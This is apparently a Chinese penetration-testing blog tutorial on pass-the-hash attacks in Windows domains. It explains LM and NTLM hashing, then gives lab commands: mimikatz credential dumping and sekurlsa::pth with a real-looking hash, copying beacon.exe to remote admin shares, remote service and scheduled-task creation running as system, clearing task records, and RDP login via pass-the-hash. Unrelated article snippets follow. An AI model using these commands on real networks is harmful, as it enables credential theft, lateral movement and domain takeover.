内网渗透——哈希传递

文章目录

  • 哈希传递
    • 1. 概念
      • 1.1 LM
      • 1.2 NTLM
    • 2. 原理
    • 3. 利用
      • 3.1 hash传递浏览上传文件
      • 3.2 hash传递获取域控RDP
    • 4. 总结

哈希传递

哈希传递攻击(Pass The Hash)是基于 NTLM 认证缺陷的一种攻击方式,攻击者可以利用用户的密码哈希值来进行 NTLM 认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击的手段登录到内网中的其他计算机。

1. 概念

早期SMB协议铭文在网络上传输数据,后来诞生了LM验证机制,LM机制由于过于简单,微软提出了WindowsNT挑战/响应机制,这就是NTLM。

在 Windows 中,最常见的两种认证体系便是 NTLM认证和 Kerberos认证了,

哈希传递全称:ntml哈希

在 Windows 中是不会保存明文密码的,只会保存密码的哈希值。 其中本机用户的密码哈希是放在本地的 SAM 文件 里面,域内用户的密码哈希是存在域控的 NTDS.dit 文件 里面。在渗透测试中,通常可从 Windows 系统中的 SAM 文件和域控的 NTDS.dit 文件中导出所有用户的Hash。导出来的哈希经常会看到这样的格式:

Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

其中的AAD3B435B51404EEAAD3B435B51404EE是LM Hash,31D6CFE0D16AE931B73C59D7E0C089C0是NTLM Hash。

1.1 LM

LM Hash 的全称为 LAN Manager Hash,这是 Windows 中最早用的加密算法。

LM Hash的计算方式如下:

  1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。

  2. 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度

  3. 再分7bit为一组,每组末尾加0,再组成一组

  4. 上步骤得到的二组,分别作为key 为 "KGS!@#$%"进行DES加密。

  5. 将加密后的两组拼接在一起,得到最终LM HASH值。

image-20231009162152746

缺点:可逆

1.2 NTLM

为了解决 LM Hash 加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议

LM Hash的计算方式如下:

  1. 先将用户明文密码转换为十六进制格式。

  2. 将十六进制格式的密码进行Unicode编码。

  3. 使用MD4摘要算法对Unicode编码数据进行Hash计算。MD4无法进行逆推)

image-20231009143847243

2. 原理

哈希传递是能够在不需要账号明文密码的情况下完成认证的一个技术,比如NTLM Hash、LM Hash都不需要明文密码因此都可以被称为Hash传递攻击。

NTLM验证靠HASH值

  1. 获得一台域主机的权限

  2. Dump内存获得用户hash

  3. 通过pass the hash尝试登录其他主机

  4. 继续搜集hash并尝试远程登录

  5. 直到获得域管理员账户hash,登录域控,最终成功控制整个域

image-20231009162627364

image-20231009192029113

说明

  • 服务器上有user用户的明文密码,服务器会将user的明文密码转换为ntlm哈希并储存起来。

  • net-ntlm hash并没有在互联网上进行传输,都是在服务器中进行的操作。

  • challege并不是在一段时间内都有用,给每个用户提供的challege是不一样的,并且每一个challege只能用于一次通信。

通过认证流程我们不难看出,只要有NTLM哈希在手,哪怕不知道明文密码也可以完成NTLM的认证

注意

  • 哈希传递只针对相同密码进行攻击,相同密码是存在风险的,实现无密码来绕过认证进行登录。如果当前主机的哈希值和域内或者工作组内其他电脑的哈希不一致那么哈希传递就没有任任何效果

  • 远程桌面(3389)和文件共享(445)都使用的是ntlm进行认证。

哈希传递的利用场景

  • 在传递的过程中必须得有hash值,在内网渗透的时候已经提前拿下了一台主机的控制权限。(在win10电脑上抓明文密码是抓不出来的,电脑上的密码存放在SAM文件中,在SAM文件中存放着的是ntlm哈希。)

3. 利用

实验环境

  • 域控:server 2008
  • 成员机:Windows 7
  • 域控和成员机的密码要一致。

3.1 hash传递浏览上传文件

当域内的用户想要访问域中的某个服务时,输入用户名和密码访问,本机kerberos服务会向KDC的AS认证服务发送一个AS-REQ认证请求。该请求包中包含:请求的用户名、客户端主机名、加密类型和Authenticator(用户NTLM Hash加密的时间置)以及一些其他信息。

在AS-REQ阶段,是用的用户密码Hash加密的Authenticator.,所以也就造成了hash传递。我们只需要获取域用户Hash,同时目标机器开放smb服务,就可以进行Hash传递攻击。

mimikatz工具

image-20231009172218281

mimikatz以管理员身份进行运行

image-20231009175854629

privilege:debug					# 提升权限(注:需以管理员权限运行)sekurlsa:logonpasswords			# 获取内存中保存的登录信息sekurlsa:pth /user:administrator /domain:qf.com /ntlm:a803cf45d87009c404eb89df4blae94c# 弹出新窗口
dr\\10.10.10.254\c5

说明

  • pth:pass the hash(哈希传递)后面跟上所传递的用户(注意该用户一定是对方服务器存在的用户),所在的域,以及哈希值。
    image-20231009180151734

查看C盘下的文件

image-20231009180240347
在这里插入图片描述

查看文件内容

image-20231009200613431

说明:弹出的窗口,表示所有的认证流程及工具装配好了,想攻击哪个主机只需输入哪个主机的IP即可。

#sc命令创建计划任务
copy beacon.exe \\10.10.10.254\c$#sc命令远程创建名为test的服务
sc \\10.10.10.254 create test binpath= "c:\beacon.exe"#远程查询名为test的服务
sc \\10.10.10.254 query test#远程启动名为test的服务
sc \\10.10.10.254 start test#远程删除名为test的服务
sc \\10.10.10.254 delete test#at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤schtasks命令取代at命令了。#查看⽬标系统时间
net time \\10.10.10.254#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe \10.10.10.254\c$#使⽤at创建计划任务
at \10.10.10.254 14:37 C:\vps.exe#清除at记录
at \10.10.10.254 做业ID /delete#使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
at \10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "#查看⽣成的1.txt⽂件
type \\10.10.10.254\C$\1.txt#schtasks命令(计划任务)
#在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system,启动
时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr
c:\beacon.exe /ru system /f /U administrator /P 1234.com其他启动时间参数:
/sc HOURLY 	每⼩时启动⼀次
/sc onlogon ⽤户登录时启动
/sc onstart 系统启动时启动
/sc onidle 	系统空闲时启动#查询该test计划任务
schtasks /query /s 10.10.10.254 /U administrator -P 1234.com |
findstr test#启动该test计划任务
schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P
1234.com#删除该test计划任务
schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P
1234.com

3.2 hash传递获取域控RDP

privilege::debug
sekurlsa::pth /user:administrator /domain:xiusafe.com /ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe
/restrictedadmin"

image-20231009193208334

如果域控这个位置是灰色那就不允许这种方式登录,注册表还能挣扎⼀下

4. 总结

哈希传递可以实现任何基于ntlm协议认证的攻击,哈希传递攻击是针对相同密码用户认证之间发起的攻击,如果域内的其他主机密码和失陷主机上的密码一致,那么哈希值就一致,在哈希值一致的情况下,就不需要明文密码就可以登录对方主机的远程桌面,查看对方主机的C盘,危害极大。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/99149.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

提升微信小程序MAU,这些方法你需要落地执行

面对激烈的微信小程序竞争,如何提升微信小程序的月活跃用户量(MAU)是每个小程序运营者需要思考的问题。经过分析,提升微信小程序MAU可以从以下几个方面着手。更多提升微信小程序MAU相关,可某薇找我名字。 提升微信小程序MAU 第一,丰富小程序功能,提升用户黏性。可以…

flutter开发实战-video_player插件播放抖音直播实现(仅限Android端)

flutter开发实战-video_player插件播放抖音直播实现(仅限Android端) 在之前的开发过程中,遇到video_player播放视频,通过查看video_player插件描述,可以看到video_player在Android端使用exoplayer,在iOS端…

笔记34:转置卷积 Transposed Convolution 的由来

注:该文章为视频课的笔记补充 视频课:转置卷积(transposed convolution)_哔哩哔哩_bilibili 更详细的推导在:抽丝剥茧,带你理解转置卷积(反卷积)_逆卷积-CSDN博客 a a a 补充1…

九大装修收纳空间的设计,收藏备用!福州中宅装饰,福州装修

如果房子面积不大,收纳设计就显得非常重要。其实装修房子中很多地方都可以做收纳,九大空间每一处都可以放下你的东西,让你摆脱收纳烦恼。 收纳空间少的话,装修完后住久了怕会乱成一窝,因此装修的时候,收纳…

java spring cloud 工程企业管理软件-综合型项目管理软件-工程系统源码

鸿鹄工程项目管理系统 Spring CloudSpring BootMybatisVueElementUI前后端分离构建工程项目管理系统 1. 项目背景 一、随着公司的快速发展,企业人员和经营规模不断壮大。为了提高工程管理效率、减轻劳动强度、提高信息处理速度和准确性,公司对内部工程管…

3D模型格式转换工具HOOPS Exchange助力Halocline开发VR

挑战: 支持客户群使用各种CAD系统和CAD文件格式。快速准确的加载可视化硬件数据。提供访问模型详细信息,同时确保高帧频性能。 结果: 确保支持标准文件格式和来自领先工程软件包的CAD数据。 通过查看简化模型或根据需要访问高层次的细节&am…

Flutter安卓混淆的相关问题

当你执行 build apk 后,flutter会默认进行混淆,若你的应用中引用了第三方的sdk,在debug模式下没问题,但在release下可能就会出现各种各样的问题,找不到某个类,或者某个功能无法使用,甚至直接崩溃…

【多线程案例】设计模式-单例模式

1.单例模式 什么是单例模式? 所谓单例,即单个实例。通过编码技巧约定某个类只能有唯一一个实例对象,并且提前在类里面创建好一个实例对象,把构造方法私有化,再对外提供获取这个实例对象的方法,&#xff0…

嵌入式养成计划-31-网络编程----TCP的并发服务器模型------IO模型--IO多路复用

六十七、 TCP的并发服务器模型 67.1 循环服务器模型 一次只能处理一个客户端,当上一个客户端退出后,才能处理下一个客户端缺点:无法同时处理多个客户端 代码模型 sfd socket(); bind(); listen(); while(1){newfd accept();while(1){re…

vue-3

一、文章内容概括 1.生命周期 生命周期介绍生命周期的四个阶段生命周期钩子声明周期案例 2.工程化开发入门 工程化开发和脚手架项目运行流程组件化组件注册 二、Vue生命周期 思考:什么时候可以发送初始化渲染请求?(越早越好&#xff09…

取消激光雷达/不升级Orin,小鹏P5改款背后的行业「痛点」

9月25日,小鹏汽车正式发布了旗下改款车型—2024款小鹏P5(15.69-17.49万元)。车型精简、降本增效(减配)成为新亮点。 在配置变化方面,智驾成为牺牲品。其中,高配Pro车型继续保留英伟达Xavier&…

如何领取京东优惠券用微信支付还是用支付宝支付购买商品?

京东用微信支付还是用支付宝支付? 京东商城购物不支持支付宝支付,现京东商城支持的支付方式包括:京东支付、银行卡、信用卡、微信支付、云闪付等; 京东如何领取优惠券用微信支付购物? 1、打开京东APP,挑选…

存档&改造【04】二维码操作入口设置细节自动刷新设置后的交互式网格

因为数据库中没有数据无法查看设置效果,于是自己创建了个测试数据表,用来给demo测试 -- 二维码操作入口设置 create table JM_QR_CODE(QR_CODE_ID NUMBER generated as identity primary key,SYSTEM_ID NUMBER(20) not null,IS_ENAB…

安装torchtext遇到的坑及解决办法

刚开始秉着需要什么就pip install什么的原则直接pip install torchtext,结果: 把我这个环境打乱了,自作主张的删掉之前的很多包重新安装了其他版本的包而不是自适应的安装当前torch所对应的torchtext。因为这个环境比较重要也用在其他的工程…

【FreeRTOS】【STM32】01从零开始的freertos之旅 浏览源码下的文件夹

基于野火以及正点原子 在打开正点原子的资料pdf时,我遇到了pdf无法复制粘贴的问题,这里有个pdf解锁文字复制功能的网址,mark一下。超级pdf 参考资料《STM32F429FreeRTOS开发手册_V1.2》 官方资料 FreeRTOS 的源码和相应的官方书籍均可从官…

机器人中的数值优化(二十一)—— 伴随灵敏度分析、线性方程组求解器的分类和特点、优化软件

本系列文章主要是我在学习《数值优化》过程中的一些笔记和相关思考,主要的学习资料是深蓝学院的课程《机器人中的数值优化》和高立编著的《数值最优化方法》等,本系列文章篇数较多,不定期更新,上半部分介绍无约束优化,…

模型训练环境相关(CUDA、PyTorch)

模型训练环境相关(CUDA、PyTorch) 1. 查看当前 GPU 所能支持的最高版本的 CUDA2. 如何判断是否安装了 CUDA3. 安装 PyTorch3.1 创建虚拟环境3.2 激活并进入虚拟环境3.3 安装 PyTorch 1. 查看当前 GPU 所能支持的最高版本的 CUDA 打开 NVIDIA 控制面板&a…

QT基础入门——文件操作(六)

前言: 文件操作是应用程序必不可少的部分。Qt 作为一个通用开发库,提供了跨平台的文件操作能力。Qt 通过QIODevice提供了对 I/O 设备的抽象,这些设备具有读写字节块的能力。 目录 一、QFile文件读写操作 1.QFile file( path 文件路径) 2…

Flink状态管理与检查点机制

1.状态分类 相对于其他流计算框架,Flink 一个比较重要的特性就是其支持有状态计算。即你可以将中间的计算结果进行保存,并提供给后续的计算使用: 具体而言,Flink 又将状态 (State) 分为 Keyed State 与 Operator State: 1.1 算子状态 算子状态 (Operator State):顾名思义…

Vue Router的进阶

进阶 导航守卫 官方文档上面描述的会比较深奥,而守卫类型也比较多,其中包含了全局前置守卫、全局解析守卫、全局后置钩子、路由独享守卫、组件内守卫。每一种守卫的作用和用法都不相同。这会使得大家去学习的时候觉得比较困难,这边主要介绍…